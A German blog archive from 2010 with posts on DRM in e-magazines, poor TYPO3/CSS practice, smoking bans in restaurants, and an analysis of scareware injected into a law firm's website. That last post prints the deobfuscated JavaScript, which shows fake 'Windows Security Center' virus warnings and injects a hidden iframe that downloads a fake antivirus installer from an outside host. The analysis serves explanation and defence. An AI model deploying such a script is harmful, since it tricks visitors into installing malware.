DRM: Immer wieder der gleiche Fehler

29 09 2010

Ich möchte mich gerade in das Thema Pedelecs, also Fahrräder mit elektrischer Trittunterstützung, einarbeiten. Dabei bin ich auf ExtraEnergy.org gestoßen, einen Verein, der scheinbar regelmäßig neutrale und ausführliche Tests macht und veröffentlicht. Die Testergebnisse werden in einem eigenen "Pedelec und E-Bike Magazin" veröffentlich, dessen aktuelle Ausgabe satte 25€ (für 200 Seiten) kostet. Etwas viel für meine aktuelle etwas lose Recherche, da kommt mit die 12,50€ kostende E-Book-Ausgabe also sehr entgegen. Um das abzukürzen: Ich habe weder noch gekauft, obwohl mich der Inhalt mehr oder weniger brennend interessiert. Warum? Ich kann mich nicht durchringen, 25€ für etwas auszugeben, das es auch für 12,50€ gibt (was ich bereits nicht ohne finde), vor allem, weil ich in erster Linie am Inhalt interessiert bin. Die elektronische Version wiederum ist klar weniger Wert, immerhin lese ich Magazine meistens unterwegs, jedenfalls nie am Rechner. Das wäre gemessen am halben Preis OK, ich hatte auch schon den Link zu lulu.com angeklickt und wollte das E-Magazin kaufen.

Doch was musste ich da sehen? DRM-Scheiße der übelsten Sorte: PDF für Adobe Digital Editions Format. DRM, immer wieder DRM. Ich kaufe keine mit DRM vor mir geschützten Inhalte. Punkt. DRM ist eine super Sache für die Vermietung von digitalen Gütern, wobei super Sache hier eher notwendiges Übel bedeutet. Kommt es zum Kauf, ist jedwede DRM-Einschränkung jedoch vollkommen inakzeptabel. Das gilt für Musik, das gilt für Filme, das gilt für E-Books. Ich werde nicht extra ein Programm auf meinen Rechner installieren, nur um meine gekauften Inhalte ansehen zu können. Ich werde nicht akzeptieren, dass ich gekaufte Inhalte nicht weitergeben kann, erst recht nicht, wenn ich nicht alleine recherchiere. Ich werde nicht akzeptieren, dass die Nutzbarkeit meiner gekauften Inhalte in der Zukunft ungewiss ist. Ich habe sogar wegen Sicherheitsbedenken nicht mal mehr den Adobe Reader auf dem Rechner und mit Linux hätte ich sowieso verloren.

Also liebe Leute von ExtraEnergy.org, zur Strafe kaufe ich jetzt weder das eine noch das andere. Sollte es eine E-Book-Ausgabe im reinen PDF-Format geben, bin ich dabei. Vielleicht komme ich auch in einer späteren Recherchephase auf die gedruckte Ausgabe zurück. 25€ sind happig, aber möglicherweise für das Gebotene angemessen, immerhin will gute journalistische Arbeit bezahlt sein. Möglicherweise, denn ich weiß nicht mal, ob mich gute journalistische Arbeit erwartet.


Please put the C in CSS

24 09 2010

Fast immer, wenn ich an Websites arbeite, die andere (Agenturen) verbrochen haben, stolpere ich über mehr oder weniger lästige Eigenheiten der konkreten Implementierung. Dass man TYPO3 auf etliche verschiedene Weisen mit Templates füttern kann, ist ja normal, auch dass es Abweichungen in der Sorgfalt im Umgang mit HTML-Markup und CSS-Code gibt. Aber es gibt Abweichungen im Rahmen des Nachvollziehbaren und solche, die einfach dumm, lästig und ärgerlich sind.

Aktuelles Beispiel: Ich mache zur Zeit einige inhaltliche Änderungen an einer Website, deren CSS-Code sehr eigenartig ist. Die auffälligste Eigenart ist dabei wirklich spaßig: Man hat dem BODY ein text-align: center; gegeben, ohne das bei nächster Gelegenheit, etwa einem Wrapper, wieder zurückzunehmen. Nun könnte einem im weiteren Verlauf auffallen, dass nun alles, aber wirklich alles zentriert wird. Das ist natürlich nicht zu übersehen und vor allem ziemlich lästig. Ich und die meisten anderen Frontend-Entwickler, die ich kenne, würden nun unseren Fehler bemerken und dem Wrapper ein text-align: left; zuweisen, wie es best practice ist. Nicht so der Entwickler dieser Website, denn der gibt der mittleren Content-Box diese Eigenschaft und zudem noch mal allen möglichen anderen Boxen, die nicht zentrieren sollen. Bei der Gelegenheit habe ich mal die style.css geöffnet und staunte nicht schlecht: Fast alle vergebenen Styles sind per ID an verschiedene Content-Boxen drangehängt, so dass beispielsweise eine H2 in Box A gestyled ist, in Box B, C und D und überhaupt anderswo nicht; was wiederum bedeutet, dass sie fast überall zentriert ist (und sonst die Standardeigenschaften des Browsers für H2 hat). Das ist eine Wartungshölle sondergleichen, denn bei jeder Inhaltsänderung, die über den initialen Zustand der Site hinausgeht, muss man den Style anfassen. Letztlich hat man also etwas ähnliches, wie inline-styles, nur eben in eine externe Datei ausgelagert und auf unvorhersehbare Weise mal wirkungsvoll und mal nicht. Die Vorteile der Kaskadierung werden also nicht ausgespielt, die Nachteile aber schon.

Nun wäre es eine Kleinigkeit, das alles zu korrigieren, aber dann schlägt gnadenlos der Nachteil der Kaskadierung zu: Man weiß nicht, welche Seiteneffekte sich bei grundlegenden Änderungen ergeben. Nimmt man etwa die Zentrierung für alles heraus, wird man gar nichts mehr zentriert vorfinden, weil bei absichtlich zentrierten Elementen möglicherweise eine Angabe zur Zentrierung weggelassen wurde, weil sich das ja implizit aus der nicht zurückgestellten Zentrierung des BODYs ergibt. Ohne eine genaue Analyse des Stylesheets und der Seitenstruktur, sowie umfangreiche Tests wird man solche Änderungen also besser nicht machen. Ich halte mich in solchen Fällen einfach an das vorgegebene System und ergänze meine nötigen Styles entsprechend. Das macht es nicht besser, aber wenigstens wird man – ohne daran Schuld zu sein – für jede dieser Änderungen angerufen und bezahlt.

Die ahnungs- oder lustlose CSS-Schluderei ist nur ein Aspekt dieser Website, auch die URLs der Seiten (mit CoolURI gemacht) waren weit entfernt von Sinn und Zweck einer guten URL-Struktur. Die Menüs sind lieblos zusammenkopiert, das Hauptmenü ein manuell erstelltes (und manuell zu pflegendes) Imagemap-Ungetüm, das einen besonders spannenden Nebeneffekt zeigt: Sind Seiten in TYPO3 nicht über zumindest irgendein automatisch erstelltes Menü zu erreichen, kann CoolURI die URL der Seite nicht wissen und wirft eine Fehlerseite. Man muss nun für jede dieser Seiten einen manuellen Eintrag in CoolURI vornehmen und den bei Änderungen auch Pflegen. Besonders lustig ist das, wenn man die URL-Struktur nach umfangreichen Änderungen neu startet und dann das Hauptmenü nicht funktioniert. Falls man eine automatische Sitemap hat, kann die einen immerhin retten. hat man hier aber nicht. Solche Schludrigkeit zieht sich durch das gesamte Projekt und macht erhebliche Mehrarbeit bei der Pflege. Kein Wunder, dass direkt nach Projektabschluss alle Passwörter geändert wurden und die Änderungen bei mir landen. Leider ist das kein Einzelfall, gerade im TYPO3-Kontext treffe ich immer wieder auf haarsträubende Implementierungen. Ob die Agenturen, die immerhin explizit TYPO3 anbieten, zu dumm oder zu faul sind, weiß ich nicht.

Also aufgemerkt: Wenn man jemanden beauftragt, eine Website umzusetzen, gerade bei TYPO3 und anderen komplexen Systemen, achte man auf einen Dienstleister mit Ahnung und Bock. Nur billig billig schnell schnell führt einen zu oft schon mittelfristig aufs Wartungs-Glatteis. Mir ist das recht, wenn ich der Typ bin, der jammern darf und dabei auch noch gut an der Schludrigkeit anderer verdient.


Rauchen in Restaurants

22 09 2010

Kürzlich war ich in der Trattoria/Pizzeria gegenüber, um bestellte Speisen abzuholen. Irgendwas stimmte hier nicht und war doch so vertraut. Zuerst trat nur der Stapel Aschenbecher in mein Unterbewusstsein, der sich auf dem Anrichttisch neben den Servietten und dem Besteck befand. Da ich im Gespräch war, fiel mir erst nach einer Weile auf, dass auch auf den Tischen Aschenbecher standen und überall rauchende Gäste im schummerigen Licht saßen. Moment mal, der ganze Raum war total verqualmt; In einem Restaurant. In dem gegessen wird! Schlimmer noch, in einem Restaurant mit offenem Küchenbereich. Gibt es nicht seit ein paar Jahren so ein Nichtraucherschutzgesetz [PDF], das sich so schön NiSchG NRW abkürzt? Sind da nicht klare Regeln zum Thema Gastronomie und Rauchen kodifiziert? Dürfen die das? Immerhin stehen die (wahrscheinlich) nicht auf S und M oder zerschneiden sich mit Glas.

Nüchtern betrachtet: Nein, das dürfen die keinesfalls. Es gibt eine ausführliche FAQ zum NiSchG NRW, der man allerlei für Menschen umformulierte Ausnahmen entnehmen kann. Der Hauptgastraum eines Restaurants gehört keinesfalls dazu: Das Raucherclub-Schlupfloch gilt nicht und als Eckkneipe geht die Bude auch nicht durch, eine andere der zahlreichen Ausnahmen (Zelte, geschlossene Gesellschaften, Brauchtum etc.) kommen ebenfalls nicht in Betracht. Es gibt noch einen zweiten Gastraum zum Hof hin, der ist kleiner und abgeschlossen und erfüllt somit genau die Regeln für einen Raucherraum, aber ich stand im Hauptraum im Qualm. Raucherräume müssen übrigens immer die kleineren Räume sein, damit niemand auf die Idee kommt, die Abstellkammer zum Hauptraum zu erklären und an der Theke schön rauchen zu lassen.

An der Ecke gibt es noch eine größere Kneipe mit Billard, Kegelbahnen, Sport auf Großbildschirmen und richtiger Speisegastronomie, an der Tür hängt das Raucherclub-Schild und drinnen war es zum WM-Viertelfinale so verqualmt, dass man von der Tür nicht ohne weiteres den ganzen Gastraum erfassen konnte. Ein guter Grund, das Spiel doch zu Hause zu gucken. Auch hier gilt (wegen des Essens), dass es eigentlich keinen Raucherclub geben dürfte. Skandal!!11 In dieser scheiß Straße kann man nirgends hingehen, ohne seine Klamotten nachher zur Reinigung bringen zu müssen. Cafékneipe an anderer Ecke: Ebenfalls Raucherclub, aber immerhin ist Essen hier nur Nebensache. Bei den anderen Läden hier im Kiez (ich hasse dieses Wort) bin ich mir auch nicht sicher.

Fuck off, wieso interessiert es kein Schwein, dass es da eine gesetzliche Regelung für gibt? Nicht, dass ich – mit oder ohne Rauch – gerne in Kneipen rumhängen würde, das konnte ich noch nie leiden, aber manchmal muss man sich dem sozialen Druck beugen und in Kneipen rumhängen. Ganz zu schweigen von schummerigen Restaurants, die ich durchaus gerne mal besuche. Wieso muss ich hinnehmen, dass ich und mein Schlafzimmer nach so einem Besuch wie ein Aschenbecher müffeln? Das Leben ist nicht fair, zum kotzen.

Gerade stelle ich mir das süffisante Gesicht vom militanten Rauchertyp mit der kernigen Stimme vor, was mir eine Ahnung davon verschafft, wieso landauf, landab das NiSchG NRW kommentarlos ignoriert wird: Man wird als Spießer und Pedant dargestellt, wenn man kein Bock auf Qualm hat. Man soll mal die armen Raucher in Ruhe ihr Ding machen lassen und sich nicht anstellen. Wenn man kein Bock auf Kneipe hat, soll man halt zu Hause bleiben, man Pussy. Da kann ich nur eins sagen: Gar keine so schlechte Idee, geht man eben in Läden, die sich an Gesetze halten. Oder man bleibt einfach zu Hause, ist sowieso billiger und man kann ohne vollgequatscht zu werden seinen Joint rauchen. Wobei, das ist auch kacke, weil die Bude dann so stinkt. Das ist bestimmt auch der Grund, wieso viele Leute lieber in Kneipen rauchen. Jetzt verstehe ich auch, wieso das Rauchen in Kneipen so kratzbürstig verteidigt wird: Es ist das letzte Refugium der Raucher, denn zu Hause will man wegen des Gestanks und der ständig notwendigen Renovierungen (und nicht zu vergessen auch des Verlusts der Garantie der teuren Apple-Produkte) gar nicht rauchen. Außerdem kann man zu Hause auch nicht so schön das Enfant terrible geben, indem man anderen völlig selbstverständlich ungehörig auf die Eier geht. Was wir eigentlich brauchen ist kein NiSchG, sondern eine Renaissance der gesellschaftlichen Übereinkunft, dass man seinen Mitmenschen vorzugsweise nicht ungehörig auf die Eier geht. Freie demokratische Grundordnung und so. Es muss wohl ein Ruck durch Deutschlands Gastronomie gehen.

Übrigens apropos Joints: In Holland gilt in einigen Gemeinden striktes Rauchverbot, das sogar bei Coffee Shops keine Ausnahme macht, deren Kernzweck der Konsum von Cannabis ist. Auf den ersten Blick reichlich widersinnig, aber im Grunde leicht und vor allem deutlich gesünder zu lösen: Man raucht das Gras nicht, sonder isst Space-Cookies oder nimmt das THC vaporisiert statt verbrannt zu sich. Davon muss man nicht husten, zieht sich keine giftigen Verbrennungsprodukte rein, es stinkt gar nicht und die Wirkung ist um Größenordnungen effizienter zu erreichen (gemessen an der verbrauchten Menge bei gleicher Wirkung). Nachteil: So ein Vaporisator ist nicht ganz billig in der Anschaffung und die gas- oder akkubetriebenen mobilen Geräte machen mangels präziser Temperaturregelung wohl keinen Spaß. Also sitzt man um so ein stationäres Ding wie um eine Shisha oder befüllt große Ballons und reicht die herum. Stilvoll ist wohl anders, aber da müsste man Experten in Sachen Rauchen und Stil befragen.

P.S. Bei IKEA gibt es neuerdings einen leicht dunkel verglasten Raucherkäfig im Eingangsbereich des Restaurants. Da drin sitzen rundherum sichtbar ein paar Raucher im eigenen Saft und gehen ihrem Laster nach. Das sieht so demütigend aus, dass die einem fast leid tun. Andererseits ist es schon eine befriedigende Vorstellung, das Ziel der Finger von empörten Mamas zu sein, die ihren Amélies und Torbens die Raucher-Outlaws als Musterbeispiel eines keinesfalls erstrebenswerten Lebensstil vorführen; nur um irgendwann enttäuscht festzustellen dass die Kinder irgendwann erst recht die Leute werden, vor denen ihre Eltern sie immer gewarnt haben. Demnächst schminke ich mich KISS-mäßig und stelle mich eine Weile in den Raucherzoo, um mich auch mal kernig und männlich zu fühlen. Schlimm genug, dass mir kein brauchbarer Bart wächst. Vielleicht bin ich dabei sogar nackt, rufe die Republik freier Raucherzoo aus und zu freier Liebe auf. Arrr.


Lustige Malware-Analyse

21 09 2010

Gerade rief ein Kunde an und schilderte mir ein interessantes Phänomen auf der (sowieso schon sehr gruseligen) Website eines Anwalts: Auf einer Unterseiteeite kommt eine Abfrage mit folgendem Text:

Windows Security Center Virus (I-Worm.Troian.B) was found on your computer Click OK to install System Security AntiVirus

Klickt man Abbrechen, kommt folgende Meldung, die man nur abnicken kann, um postwendend wieder bei der ersten Abfrage zu landen.

Windows Security Center recommends you to install System Security Antivirus.

Seine Vermutung war korrekt: Das ist keine Warnung eines Virenscanners, sondern ein Versuch, einem etwas unterzujubeln. Ein Blick in den Quelltext verrät erst mal, dass man es hier mit einem verschachtelten Frameset zu tun hat, also muss man etwas suchen. Jeweils zwischen Vor- und Nachnamen der Kanzleipartner ist ein externes Script von http://google-stats50.info/ur.php eingebunden. Dieses wiederum enthält ein langes Array mit vierstelligen Zahlen und etwas JavaScript Logik, um daraus wieder ausführbaren Code zumachen. Den Inhalt der Datei kann man beispielsweise bei jsFiddle ausführen, wobei man das abschließende eval() durch ein harmloses alert() ersetzt. Dabei kommt der folgende Code heraus, den ich anonymisiert und der Lesbarkeit halber neu formatiert habe:

function download() {
  var ifr5="<iframe style='display:none;' src='http://update1.your-guardian.com/index2.php?abbr=MSS&setupType=with_gui&setupName=setup&uid=VIERSTELLIGEZAHL&ttl=ELFSTELLIGERHASH'></iframe>";
  document.body.innerHTML = ifr5 + document.body.innerHTML;
}

var count=1;

function myconfirm() {
  var UserWidth = window.screen.width / 2;
  var UserHeight = window.screen.height / 2;
  window.resizeTo(screen.width-9999,screen.height-9999);
  window.moveTo(UserWidth,UserHeight);

  if(count<20) {
    count = count+1;
    window.onblur = function() {}
    if(confirm('Windows Security Center\n\nVirus (I-Worm.Troian.B) was found on your computer\n\nClick OK to install System Security AntiVirus')) {
      alert('You must SAVE AND RUN System Security AntiVirus - IT WILL HELP YOU TO SAVE YOUR PC AND DATA');
      window.focus();
      setTimeout('window.onblur=function(){myconfirm();}',100);
      download();
    } else {
      alert('Windows Security Center recommends you to install System Security Antivirus.');
      myconfirm();
    }
  } else {
    window.resizeTo(window.screen.width,window.screen.height);
    window.moveTo(UserWidth,UserHeight);
  }
}

So, wir kommen der Sache schon näher, unsere Meldungen stecken hier im Klartext drin und wir sehen auch, was beim Klick auf OK passiert: Es wird ein iframe eingefügt, der eine Datei zum Download anbietet. Der ttl-Parameter der aufgerufenen iframe-Quelle sorgt übrigens dafür, dass der Download nur in einem kurzen Zeitfenster funktioniert. Scheinbar soll so die Analyse erschwert werden, ich musste mich also etwas beeilen. Die Datei, die dann heruntergeladen wird, scheint ein Installer für einen Fake-Virenscanner zu sein. Klickt man übrigens je 20 mal auf Abbrechen und die darauf erscheinende Warnmeldung, kommt man aus der Nummer auch wieder heraus. Ziemlich freundlich für eine Malware. Also doch nicht so spannend, wie es auf den ersten Blick aussah. Keine ausgenutzten Sicherheitslücken, keine wirklich bösen Malware, nur ein Wald-und-Wiesen Scareware-Scheiß. Dann frage ich mich allerdings, wieso der Quelltext verschleiert wird?

Viel spannender ist allerdings, wie das böse Script auf die Website der Anwaltskanzlei gekommen ist. Untypisch für eine automatische Infektion ist, dass das Script zwei mal genau zwischen Vor- und Nachname platziert wurde. Normalerweise landen automatische Infektionen doch irgendwo am Anfang oder am Ende einer Seite oder irgendwo mehr oder weniger zufällig eingestreut. Haben wir es hier mit einer manuellen Infektion zu tun? Aber warum wird das Script dann gleich zwei mal auf einer Seite eingebunden? Sowieso ist die Seite dubios, beispielsweise liegt sie, wie bereits erwähnt, in einem verschachtelten Frameset und die einzelnen Frameseiten werden von einer IP-Adresse geladen, nur der Hauptframe wird unter der Domain angezeigt. Optik und Quellcode sind gruselig, die ganze Seite wirkt hoffnungslos veraltet und ungepflegt. Dazu diese Infektion. An so einen Anwalt würde ich mich wohl eher nicht wenden.

Nachtrag 22.09.2010: Inzwischen ist das Ladescript http://google-stats50.info/ur.php nicht mehr erreichbar und die Infektionen der davon betroffenen Websites laufen ins Leere. Das ist ja sowieso die Achillesverse solcherlei Angriffe: Sobald der verwendete Loader offline ist, ist der Spaß vorbei.